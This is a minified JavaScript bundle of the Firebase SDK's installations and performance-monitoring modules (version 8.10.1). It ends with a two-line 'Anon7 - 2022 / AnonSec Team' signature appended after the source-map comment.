t=me(a),n=be(a),o={fid:s,authVersion:le,appId:a.appId,sdkVersion:ue},r={method:"POST",headers:n,body:JSON.stringify(o)},[4,we(function(){return fetch(t,r)})];case 1:return(i=e.sent()).ok?[4,i.json()]:[3,3];case 2:return o=e.sent(),[2,{fid:o.fid||s,registrationStatus:2,refreshToken:o.refreshToken,authToken:ve(o.authToken)}];case 3:return[4,ye("Create Installation",i)];case 4:throw e.sent()}})})}(r,i)];case 1:return t=e.sent(),[2,Ue(r,t)];case 2:return ge(n=e.sent())&&409===n.customData.serverCode?[4,Fe(r)]:[3,4];case 3:return e.sent(),[3,6];case 4:return[4,Ue(r,{fid:i.fid,registrationStatus:0})];case 5:e.sent(),e.label=6;case 6:throw n;case 7:return[2]}})})}(e,t);return{installationEntry:t,registrationPromise:e}}}(i,e);return t=e.registrationPromise,e.installationEntry})];case 1:return(n=e.sent()).fid!==Se?[3,3]:(r={},[4,t]);case 2:return[2,(r.installationEntry=e.sent(),r)];case 3:return[2,{installationEntry:n,registrationPromise:t}]}})})}function ze(e){return qe(e,function(e){if(!e)throw de.create("installation-not-found");return He(e)})}function He(e){return 1===(t=e).registrationStatus&&t.registrationTime+ce<Date.now()?{fid:e.fid,registrationStatus:0}:e;var t}function Ke(e,a){var s=e.appConfig,c=e.platformLoggerProvider;return u(this,void 0,void 0,function(){var t,n,r,i,o;return l(this,function(e){switch(e.label){case 0:return t=function(e,t){t=t.fid;return me(e)+"/"+t+"/authTokens:generate"}(s,a),n=Ie(s,a),(o=c.getImmediate({optional:!0}))&&n.append("x-firebase-client",o.getPlatformInfoString()),o={installation:{sdkVersion:ue}},r={method:"POST",headers:n,body:JSON.stringify(o)},[4,we(function(){return fetch(t,r)})];case 1:return(i=e.sent()).ok?[4,i.json()]:[3,3];case 2:return o=e.sent(),[2,ve(o)];case 3:return[4,ye("Generate Auth Token",i)];case 4:throw e.sent()}})})}function $e(i,o){return void 0===o&&(o=!1),u(this,void 0,void 0,function(){var r,t,n;return l(this,function(e){switch(e.label){case 0:return[4,qe(i.appConfig,function(e){if(!Ge(e))throw de.create("not-registered");var t,n=e.authToken;if(o||2!==(t=n).requestStatus||function(e){var t=Date.now();return t<e.creationTime||e.creationTime+e.expiresIn<t+pe}(t)){if(1===n.requestStatus)return r=function(n,r){return u(this,void 0,void 0,function(){var t;return l(this,function(e){switch(e.label){case 0:return[4,We(n.appConfig)];case 1:t=e.sent(),e.label=2;case 2:return 1!==t.authToken.requestStatus?[3,5]:[4,_e(100)];case 3:return e.sent(),[4,We(n.appConfig)];case 4:return t=e.sent(),[3,2];case 5:return 0===(t=t.authToken).requestStatus?[2,$e(n,r)]:[2,t]}})})}(i,o),e;if(!navigator.onLine)throw de.create("app-offline");n=(t=e,n={requestStatus:1,requestTime:Date.now()},a(a({},t),{authToken:n}));return r=function(i,o){return u(this,void 0,void 0,function(){var t,n,r;return l(this,function(e){switch(e.label){case 0:return e.trys.push([0,3,,8]),[4,Ke(i,o)];case 1:return t=e.sent(),r=a(a({},o),{authToken:t}),[4,Ue(i.appConfig,r)];case 2:return e.sent(),[2,t];case 3:return!ge(n=e.sent())||401!==n.customData.serverCode&&404!==n.customData.serverCode?[3,5]:[4,Fe(i.appConfig)];case 4:return e.sent(),[3,7];case 5:return r=a(a({},o),{authToken:{requestStatus:0}}),[4,Ue(i.appConfig,r)];case 6:e.sent(),e.label=7;case 7:throw n;case 8:return[2]}})})}(i,n),n}return e})];case 1:return t=e.sent(),r?[4,r]:[3,3];case 2:return n=e.sent(),[3,4];case 3:n=t.authToken,e.label=4;case 4:return[2,n]}})})}function We(e){return qe(e,function(e){if(!Ge(e))throw de.create("not-registered");var t=e.authToken;return 1===(t=t).requestStatus&&t.requestTime+ce<Date.now()?a(a({},e),{authToken:{requestStatus:0}}):e})}function Ge(e){return void 0!==e&&2===e.registrationStatus}function Je(t,n){return void 0===n&&(n=!1),u(this,void 0,void 0,function(){return l(this,function(e){switch(e.label){case 0:return[4,function(n){return u(this,void 0,void 0,function(){var t;return l(this,function(e){switch(e.label){case 0:return[4,Ve(n)];case 1:return(t=e.sent().registrationPromise)?[4,t]:[3,3];case 2:e.sent(),e.label=3;case 3:return[2]}})})}(t.appConfig)];case 1:return e.sent(),[4,$e(t,n)];case 2:return[2,e.sent().token]}})})}function Xe(i,o){return u(this,void 0,void 0,function(){var t,n,r;return l(this,function(e){switch(e.label){case 0:return t=function(e,t){t=t.fid;return me(e)+"/"+t}(i,o),r=Ie(i,o),n={method:"DELETE",headers:r},[4,we(function(){return fetch(t,n)})];case 1:return(r=e.sent()).ok?[3,3]:[4,ye("Delete Installation",r)];case 2:throw e.sent();case 3:return[2]}})})}function Ye(e,r){var i=e.appConfig;return function(e,t){Pe();var n=Ae(e);(e=Ne.get(n))||(e=new Set,Ne.set(n,e)),e.add(t)}(i,r),function(){var e,t,n;t=r,n=Ae(e=i),(e=Ne.get(n))&&(e.delete(t),0===e.size&&Ne.delete(n),De())}}function Ze(e){return de.create("missing-app-config-values",{valueName:e})}(Re=J).INTERNAL.registerComponent(new b("installations",function(e){var t=e.getProvider("app").getImmediate(),n={appConfig:function(e){var t,n;if(!e||!e.options)throw Ze("App Configuration");if(!e.name)throw Ze("App Name");try{for(var r=f(["projectId","apiKey","appId"]),i=r.next();!i.done;i=r.next()){var o=i.value;if(!e.options[o])throw Ze(o)}}catch(e){t={error:e}}finally{try{i&&!i.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}return{appName:e.name,projectId:e.options.projectId,apiKey:e.options.apiKey,appId:e.options.appId}}(t),platformLoggerProvider:e.getProvider("platform-logger")};return{app:t,getId:function(){return function(r){return u(this,void 0,void 0,function(){var t,n;return l(this,function(e){switch(e.label){case 0:return[4,Ve(r.appConfig)];case 1:return t=e.sent(),n=t.installationEntry,(t.registrationPromise||$e(r)).catch(console.error),[2,n.fid]}})})}(n)},getToken:function(e){return Je(n,e)},delete:function(){return function(r){return u(this,void 0,void 0,function(){var t,n;return l(this,function(e){switch(e.label){case 0:return[4,qe(t=r.appConfig,function(e){if(!e||0!==e.registrationStatus)return e})];case 1:if(!(n=e.sent()))return[3,6];if(1!==n.registrationStatus)return[3,2];throw de.create("delete-pending-registration");case 2:if(2!==n.registrationStatus)return[3,6];if(navigator.onLine)return[3,3];throw de.create("app-offline");case 3:return[4,Xe(t,n)];case 4:return e.sent(),[4,Fe(t)];case 5:e.sent(),e.label=6;case 6:return[2]}})})}(n)},onIdChange:function(e){return Ye(n,e)}}},"PUBLIC")),Re.registerVersion("@firebase/installations","0.4.32");var Qe,et,tt="0.4.18",nt="FB-PERF-TRACE-MEASURE",rt="@firebase/performance/config",it="@firebase/performance/configexpire",j="Performance",he=((he={})["trace started"]="Trace {$traceName} was started before.",he["trace stopped"]="Trace {$traceName} is not running.",he["nonpositive trace startTime"]="Trace {$traceName} startTime should be positive.",he["nonpositive trace duration"]="Trace {$traceName} duration should be positive.",he["no window"]="Window is not available.",he["no app id"]="App id is not available.",he["no project id"]="Project id is not available.",he["no api key"]="Api key is not available.",he["invalid cc log"]="Attempted to queue invalid cc event",he["FB not default"]="Performance can only start when Firebase app instance is the default one.",he["RC response not ok"]="RC response is not ok",he["invalid attribute name"]="Attribute name {$attributeName} is invalid.",he["invalid attribute value"]="Attribute value {$attributeValue} is invalid.",he["invalid custom metric name"]="Custom metric name {$customMetricName} is invalid",he["invalid String merger input"]="Input for String merger is invalid, contact support team to resolve.",he),ot=new m("performance",j,he),at=new P(j);at.logLevel=T.INFO;var st,ct=(ut.prototype.getUrl=function(){return this.windowLocation.href.split("?")[0]},ut.prototype.mark=function(e){this.performance&&this.performance.mark&&this.performance.mark(e)},ut.prototype.measure=function(e,t,n){this.performance&&this.performance.measure&&this.performance.measure(e,t,n)},ut.prototype.getEntriesByType=function(e){return this.performance&&this.performance.getEntriesByType?this.performance.getEntriesByType(e):[]},ut.prototype.getEntriesByName=function(e){return this.performance&&this.performance.getEntriesByName?this.performance.getEntriesByName(e):[]},ut.prototype.getTimeOrigin=function(){return this.performance&&(this.performance.timeOrigin||this.performance.timing.navigationStart)},ut.prototype.requiredApisAvailable=function(){return fetch&&Promise&&this.navigator&&this.navigator.cookieEnabled?"indexedDB"in self&&null!=indexedDB||(at.info("IndexedDB is not supported by current browswer"),!1):(at.info("Firebase Performance cannot start if browser does not support fetch and Promise or cookie is disabled."),!1)},ut.prototype.setupObserver=function(e,i){this.PerformanceObserver&&new this.PerformanceObserver(function(e){for(var t=0,n=e.getEntries();t<n.length;t++){var r=n[t];i(r)}}).observe({entryTypes:[e]})},ut.getInstance=function(){return Qe=void 0===Qe?new ut(et):Qe},ut);function ut(e){if(!(this.window=e))throw ot.create("no window");this.performance=e.performance,this.PerformanceObserver=e.PerformanceObserver,this.windowLocation=e.location,this.navigator=e.navigator,this.document=e.document,this.navigator&&this.navigator.cookieEnabled&&(this.localStorage=e.localStorage),e.perfMetrics&&e.perfMetrics.onFirstInputDelay&&(this.onFirstInputDelay=e.perfMetrics.onFirstInputDelay)}function lt(e,t){var n=e.length-t.length;if(n<0||1<n)throw ot.create("invalid String merger input");for(var r=[],i=0;i<e.length;i++)r.push(e.charAt(i)),t.length>i&&r.push(t.charAt(i));return r.join("")}var ft,pt,ht=(dt.prototype.getAppId=function(){var e=this.firebaseAppInstance&&this.firebaseAppInstance.options&&this.firebaseAppInstance.options.appId;if(!e)throw ot.create("no app id");return e},dt.prototype.getProjectId=function(){var e=this.firebaseAppInstance&&this.firebaseAppInstance.options&&this.firebaseAppInstance.options.projectId;if(!e)throw ot.create("no project id");return e},dt.prototype.getApiKey=function(){var e=this.firebaseAppInstance&&this.firebaseAppInstance.options&&this.firebaseAppInstance.options.apiKey;if(!e)throw ot.create("no api key");return e},dt.prototype.getFlTransportFullUrl=function(){return this.flTransportEndpointUrl.concat("?key=",this.transportKey)},dt.getInstance=function(){return st=void 0===st?new dt:st},dt);function dt(){this.instrumentationEnabled=!0,this.dataCollectionEnabled=!0,this.loggingEnabled=!1,this.tracesSamplingRate=1,this.networkRequestsSamplingRate=1,this.logEndPointUrl="https://firebaselogging.googleapis.com/v0cc/log?format=json_proto",this.flTransportEndpointUrl=lt("hts/frbslgigp.ogepscmv/ieo/eaylg","tp:/ieaeogn-agolai.o/1frlglgc/o"),this.transportKey=lt("AzSC8r6ReiGqFMyfvgow","Iayx0u-XT3vksVM-pIV"),this.logSource=462,this.logTraceAfterSampling=!1,this.logNetworkAfterSampling=!1,this.configTimeToLive=12}(j=pt=pt||{})[j.UNKNOWN=0]="UNKNOWN",j[j.VISIBLE=1]="VISIBLE",j[j.HIDDEN=2]="HIDDEN";var gt=["firebase_","google_","ga_"],mt=new RegExp("^[a-zA-Z]\\w*$");function vt(){switch(ct.getInstance().document.visibilityState){case"visible":return pt.VISIBLE;case"hidden":return pt.HIDDEN;default:return pt.UNKNOWN}}var yt="0.0.1",bt={loggingEnabled:!0},It="FIREBASE_INSTALLATIONS_AUTH";function wt(e){var n,t=function(){var e=ct.getInstance().localStorage;if(e){var t=e.getItem(it);if(t&&function(e){return Number(e)>Date.now()}(t)){e=e.getItem(rt);if(e)try{return JSON.parse(e)}catch(e){return}}}}();return t?(Et(t),Promise.resolve()):(n=e,function(){var e=ht.getInstance().installationsService.getToken();return e.then(function(e){}),e}().then(function(e){var t="https://firebaseremoteconfig.googleapis.com/v1/projects/"+ht.getInstance().getProjectId()+"/namespaces/fireperf:fetch?key="+ht.getInstance().getApiKey(),e=new Request(t,{method:"POST",headers:{Authorization:It+" "+e},body:JSON.stringify({app_instance_id:n,app_instance_id_token:e,app_id:ht.getInstance().getAppId(),app_version:tt,sdk_version:yt})});return fetch(e).then(function(e){if(e.ok)return e.json();throw ot.create("RC response not ok")})}).catch(function(){at.info(_t)}).then(Et).then(function(e){var t;t=e,e=ct.getInstance().localStorage,t&&e&&(e.setItem(rt,JSON.stringify(t)),e.setItem(it,String(Date.now()+60*ht.getInstance().configTimeToLive*60*1e3)))},function(){}))}var _t="Could not fetch config, will use default configs";function Et(e){if(!e)return e;var t=ht.getInstance(),n=e.entries||{};return void 0!==n.fpr_enabled?t.loggingEnabled="true"===String(n.fpr_enabled):t.loggingEnabled=bt.loggingEnabled,n.fpr_log_source&&(t.logSource=Number(n.fpr_log_source)),n.fpr_log_endpoint_url&&(t.logEndPointUrl=n.fpr_log_endpoint_url),n.fpr_log_transport_key&&(t.transportKey=n.fpr_log_transport_key),void 0!==n.fpr_vc_network_request_sampling_rate&&(t.networkRequestsSamplingRate=Number(n.fpr_vc_network_request_sampling_rate)),void 0!==n.fpr_vc_trace_sampling_rate&&(t.tracesSamplingRate=Number(n.fpr_vc_trace_sampling_rate)),t.logTraceAfterSampling=St(t.tracesSamplingRate),t.logNetworkAfterSampling=St(t.networkRequestsSamplingRate),e}function St(e){return Math.random()<=e}var Tt,At=1;function Nt(){return At=2,Tt=Tt||function(){var n=ct.getInstance().document;return new Promise(function(e){var t;n&&"complete"!==n.readyState?(t=function(){"complete"===n.readyState&&(n.removeEventListener("readystatechange",t),e())},n.addEventListener("readystatechange",t)):e()})}().then(function(){return(e=ht.getInstance().installationsService.getId()).then(function(e){ft=e}),e;var e}).then(wt).then(Ot,Ot)}function Ot(){At=3}var Ct,kt=1e4,Pt=5500,Dt=3,Rt=1e3,Lt=Dt,jt=[],Mt=!1;function Bt(e){setTimeout(function(){var e,t;if(0!==Lt)return jt.length?(e=jt.splice(0,Rt),t=e.map(function(e){return{source_extension_json_proto3:e.message,event_time_ms:String(e.eventTime)}}),void function(e,r){return function(e){var t=ht.getInstance().getFlTransportFullUrl();return fetch(t,{method:"POST",body:JSON.stringify(e)})}(e).then(function(e){return e.ok||at.info("Call to Firebase backend failed."),e.json()}).then(function(e){var t=Number(e.nextRequestWaitMillis),n=kt;isNaN(t)||(n=Math.max(t,n));e=e.logResponseDetails;Array.isArray(e)&&0<e.length&&"RETRY_REQUEST_LATER"===e[0].responseAction&&(jt=s(s([],r),jt),at.info("Retry transport request later.")),Lt=Dt,Bt(n)})}({request_time_ms:String(Date.now()),client_info:{client_type:1,js_client_info:{}},log_source:ht.getInstance().logSource,log_event:t},e).catch(function(){jt=s(s([],e),jt),Lt--,at.info("Tries left: "+Lt+"."),Bt(kt)})):Bt(kt)},e)}function xt(n){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];!function(e){if(!e.eventTime||!e.message)throw ot.create("invalid cc log");jt=s(s([],jt),[e])}({message:n.apply(void 0,e),eventTime:Date.now()})}}function Ut(e,t){(Ct=Ct||xt(Vt))(e,t)}function Ft(e){var t=ht.getInstance();!t.instrumentationEnabled&&e.isAuto||(t.dataCollectionEnabled||e.isAuto)&&ct.getInstance().requiredApisAvailable()&&(e.isAuto&&vt()!==pt.VISIBLE||(3===At?qt(e):Nt().then(function(){return qt(e)},function(){return qt(e)})))}function qt(e){var t;!ft||(t=ht.getInstance()).loggingEnabled&&t.logTraceAfterSampling&&setTimeout(function(){return Ut(e,1)},0)}function Vt(e,t){return(0===t?function(e){e={url:e.url,http_method:e.httpMethod||0,http_response_code:200,response_payload_bytes:e.responsePayloadBytes,client_start_time_us:e.startTimeUs,time_to_response_initiated_us:e.timeToResponseInitiatedUs,time_to_response_completed_us:e.timeToResponseCompletedUs},e={application_info:zt(),network_request_metric:e};return JSON.stringify(e)}:function(e){var t={name:e.name,is_auto:e.isAuto,client_start_time_us:e.startTimeUs,duration_us:e.durationUs};0!==Object.keys(e.counters).length&&(t.counters=e.counters);e=e.getAttributes();0!==Object.keys(e).length&&(t.custom_attributes=e);t={application_info:zt(),trace_metric:t};return JSON.stringify(t)})(e)}function zt(){return{google_app_id:ht.getInstance().getAppId(),app_instance_id:ft,web_app_info:{sdk_version:tt,page_url:ct.getInstance().getUrl(),service_worker_status:"serviceWorker"in(e=ct.getInstance().navigator)?e.serviceWorker.controller?2:3:1,visibility_state:vt(),effective_connection_type:function(){var e=ct.getInstance().navigator.connection;switch(e&&e.effectiveType){case"slow-2g":return 1;case"2g":return 2;case"3g":return 3;case"4g":return 4;default:return 0}}()},application_process_state:0};var e}var Ht=["_fp","_fcp","_fid"];var Kt=($t.prototype.start=function(){if(1!==this.state)throw ot.create("trace started",{traceName:this.name});this.api.mark(this.traceStartMark),this.state=2},$t.prototype.stop=function(){if(2!==this.state)throw ot.create("trace stopped",{traceName:this.name});this.state=3,this.api.mark(this.traceStopMark),this.api.measure(this.traceMeasure,this.traceStartMark,this.traceStopMark),this.calculateTraceMetrics(),Ft(this)},$t.prototype.record=function(e,t,n){if(e<=0)throw ot.create("nonpositive trace startTime",{traceName:this.name});if(t<=0)throw ot.create("nonpositive trace duration",{traceName:this.name});if(this.durationUs=Math.floor(1e3*t),this.startTimeUs=Math.floor(1e3*e),n&&n.attributes&&(this.customAttributes=a({},n.attributes)),n&&n.metrics)for(var r=0,i=Object.keys(n.metrics);r<i.length;r++){var o=i[r];isNaN(Number(n.metrics[o]))||(this.counters[o]=Number(Math.floor(n.metrics[o])))}Ft(this)},$t.prototype.incrementMetric=function(e,t){void 0===t&&(t=1),void 0===this.counters[e]?this.putMetric(e,t):this.putMetric(e,this.counters[e]+t)},$t.prototype.putMetric=function(e,t){if(n=e,r=this.name,0===n.length||100<n.length||!(r&&r.startsWith("_wt_")&&-1<Ht.indexOf(n))&&n.startsWith("_"))throw ot.create("invalid custom metric name",{customMetricName:e});var n,r;this.counters[e]=(e=t,(t=Math.floor(e))<e&&at.info("Metric value should be an Integer, setting the value as : "+t+"."),t)},$t.prototype.getMetric=function(e){return this.counters[e]||0},$t.prototype.putAttribute=function(e,t){var n,r,i=!(0===(n=e).length||40<n.length)&&(!gt.some(function(e){return n.startsWith(e)})&&!!n.match(mt)),r=0!==(r=t).length&&r.length<=100;if(i&&r)this.customAttributes[e]=t;else{if(!i)throw ot.create("invalid attribute name",{attributeName:e});if(!r)throw ot.create("invalid attribute value",{attributeValue:t})}},$t.prototype.getAttribute=function(e){return this.customAttributes[e]},$t.prototype.removeAttribute=function(e){void 0!==this.customAttributes[e]&&delete this.customAttributes[e]},$t.prototype.getAttributes=function(){return a({},this.customAttributes)},$t.prototype.setStartTime=function(e){this.startTimeUs=e},$t.prototype.setDuration=function(e){this.durationUs=e},$t.prototype.calculateTraceMetrics=function(){var e=this.api.getEntriesByName(this.traceMeasure),e=e&&e[0];e&&(this.durationUs=Math.floor(1e3*e.duration),this.startTimeUs=Math.floor(1e3*(e.startTime+this.api.getTimeOrigin())))},$t.createOobTrace=function(e,t,n){var r,i=ct.getInstance().getUrl();i&&(r=new $t("_wt_"+i,!0),i=Math.floor(1e3*ct.getInstance().getTimeOrigin()),r.setStartTime(i),e&&e[0]&&(r.setDuration(Math.floor(1e3*e[0].duration)),r.putMetric("domInteractive",Math.floor(1e3*e[0].domInteractive)),r.putMetric("domContentLoadedEventEnd",Math.floor(1e3*e[0].domContentLoadedEventEnd)),r.putMetric("loadEventEnd",Math.floor(1e3*e[0].loadEventEnd))),t&&((e=t.find(function(e){return"first-paint"===e.name}))&&e.startTime&&r.putMetric("_fp",Math.floor(1e3*e.startTime)),(t=t.find(function(e){return"first-contentful-paint"===e.name}))&&t.startTime&&r.putMetric("_fcp",Math.floor(1e3*t.startTime)),n&&r.putMetric("_fid",Math.floor(1e3*n))),Ft(r))},$t.createUserTimingTrace=function(e){Ft(new $t(e,!1,e))},$t);function $t(e,t,n){void 0===t&&(t=!1),this.name=e,this.isAuto=t,this.state=1,this.customAttributes={},this.counters={},this.api=ct.getInstance(),this.randomId=Math.floor(1e6*Math.random()),this.isAuto||(this.traceStartMark="FB-PERF-TRACE-START-"+this.randomId+"-"+this.name,this.traceStopMark="FB-PERF-TRACE-STOP-"+this.randomId+"-"+this.name,this.traceMeasure=n||nt+"-"+this.randomId+"-"+this.name,n&&this.calculateTraceMetrics())}function Wt(e){var t,n,r,i=e;i&&void 0!==i.responseStart&&(n=ct.getInstance().getTimeOrigin(),r=Math.floor(1e3*(i.startTime+n)),e=i.responseStart?Math.floor(1e3*(i.responseStart-i.startTime)):void 0,n=Math.floor(1e3*(i.responseEnd-i.startTime)),i={url:i.name&&i.name.split("?")[0],responsePayloadBytes:i.transferSize,startTimeUs:r,timeToResponseInitiatedUs:e,timeToResponseCompletedUs:n},t=i,(r=ht.getInstance()).instrumentationEnabled&&(e=t.url,n=r.logEndPointUrl.split("?")[0],i=r.flTransportEndpointUrl.split("?")[0],e!==n&&e!==i&&r.loggingEnabled&&r.logNetworkAfterSampling&&setTimeout(function(){return Ut(t,0)},0)))}var Gt=5e3;function Jt(){ft&&(setTimeout(function(){var e=ct.getInstance(),t=e.getEntriesByType("navigation"),n=e.getEntriesByType("paint");{var r;e.onFirstInputDelay?(r=setTimeout(function(){Kt.createOobTrace(t,n),r=void 0},Gt),e.onFirstInputDelay(function(e){r&&(clearTimeout(r),Kt.createOobTrace(t,n,e))})):Kt.createOobTrace(t,n)}},0),setTimeout(function(){for(var e=ct.getInstance(),t=e.getEntriesByType("resource"),n=0,r=t;n<r.length;n++)Wt(r[n]);e.setupObserver("resource",Wt)},0),setTimeout(function(){for(var e=ct.getInstance(),t=e.getEntriesByType("measure"),n=0,r=t;n<r.length;n++)Xt(r[n]);e.setupObserver("measure",Xt)},0))}function Xt(e){e=e.name;e.substring(0,nt.length)!==nt&&Kt.createUserTimingTrace(e)}var Yt=(Zt.prototype.trace=function(e){return new Kt(e)},Object.defineProperty(Zt.prototype,"instrumentationEnabled",{get:function(){return ht.getInstance().instrumentationEnabled},set:function(e){ht.getInstance().instrumentationEnabled=e},enumerable:!1,configurable:!0}),Object.defineProperty(Zt.prototype,"dataCollectionEnabled",{get:function(){return ht.getInstance().dataCollectionEnabled},set:function(e){ht.getInstance().dataCollectionEnabled=e},enumerable:!1,configurable:!0}),Zt);function Zt(e){this.app=e,ct.getInstance().requiredApisAvailable()&&new Promise(function(e,t){try{var n=!0,r="validate-browser-context-for-indexeddb-analytics-module",i=self.indexedDB.open(r);i.onsuccess=function(){i.result.close(),n||self.indexedDB.deleteDatabase(r),e(!0)},i.onupgradeneeded=function(){n=!1},i.onerror=function(){var e;t((null===(e=i.error)||void 0===e?void 0:e.message)||"")}}catch(e){t(e)}}).then(function(e){e&&(Mt||(Bt(Pt),Mt=!0),Nt().then(Jt,Jt))}).catch(function(e){at.info("Environment doesn't support IndexedDB: "+e)})}var Qt;function en(e,t){if("[DEFAULT]"!==e.name)throw ot.create("FB not default");if("undefined"==typeof window)throw ot.create("no window");return et=window,ht.getInstance().firebaseAppInstance=e,ht.getInstance().installationsService=t,new Yt(e)}(Qt=J).INTERNAL.registerComponent(new b("performance",function(e){var t=e.getProvider("app").getImmediate(),e=e.getProvider("installations").getImmediate();return en(t,e)},"PUBLIC")),Qt.registerVersion("@firebase/performance","0.4.18");return J.registerVersion("firebase","8.10.1","lite"),J});
//# sourceMappingURL=firebase-performance-standalone.js.map

Anon7 - 2022
AnonSec Team